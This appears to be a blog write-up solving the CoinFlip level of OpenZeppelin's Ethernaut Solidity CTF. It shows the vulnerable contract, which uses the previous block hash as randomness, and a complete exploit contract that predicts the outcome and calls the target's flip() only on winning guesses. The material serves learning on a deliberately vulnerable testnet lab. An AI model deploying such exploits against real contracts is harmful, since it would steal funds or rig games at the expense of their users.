Recently Open Zeppelin added 3 new challenges to their Soldity CTF, Ethernaut. I already solved the previous ones and they were quite fun so I thought I’d give it a go.

CoinFlip

Here’s the code of the first challenge :

pragma solidity ^0.4.18;



contract CoinFlip {

uint256 public consecutiveWins;

uint256 lastHash;

uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;



function CoinFlip() public {

consecutiveWins = 0;

}



function flip(bool _guess) public returns (bool) {

uint256 blockValue = uint256(block.blockhash(block.number-1));



if (lastHash == blockValue) {

revert();

}



lastHash = blockValue;

uint256 coinFlip = uint256(uint256(blockValue) / FACTOR);

bool side = coinFlip == 1 ? true : false;



if (side == _guess) {

consecutiveWins++;

return true;

} else {

consecutiveWins = 0;

return false;

}

}

}

If you know a bit of solidity the vulnerability here should be pretty clear. You should never rely on block.number for your random number generator as it’s not random. The goal is basically to predict the value of the coinFlip variable which will end up to be 1 or 0 and determine the boolean value of the side variable which will finally decide if you win or lose the game.

At first I wanted to simply use the browser console on the Ethernaut website to calculate the value and submit it. But unfortunately it doesn’t provide all web3 functions. Only getBlockNumber() was available and I would have needed a hash function too. Since on the Ropsten testnet there’s a new block approximately every 10 seconds, it’s a bit too tight to do this manually.

What I did is create a smart contract with the same code used to calculate the “random” number. Except that this contract will call the flip() function of the original contract only when we get a winner. To pass the challenge you have to win 10 games in a row so no space for mistakes. Here’s the code:

contract CoinFlip {

function flip(bool _guess) public returns (bool){}

} contract Exploit {

address owner;

uint256 lastHash;

uint256 public consecutiveWins;

uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

CoinFlip target = CoinFlip(0x42b9f5302a203fa7a625dbfcb624c2abb74325b5);



function Exploit() {

owner = msg.sender;

}



function flip(bool _guess) public returns (bool) {

uint256 blockValue = uint256(block.blockhash(block.number-1)); if (lastHash == blockValue) {

revert();

} lastHash = blockValue;

uint256 coinFlip = uint256(uint256(blockValue) / FACTOR);

bool side = coinFlip == 1 ? true : false;



if (side == _guess) {

consecutiveWins++;

target.flip(_guess);

return true;

} else {

consecutiveWins = 0;

return false;

}

}

}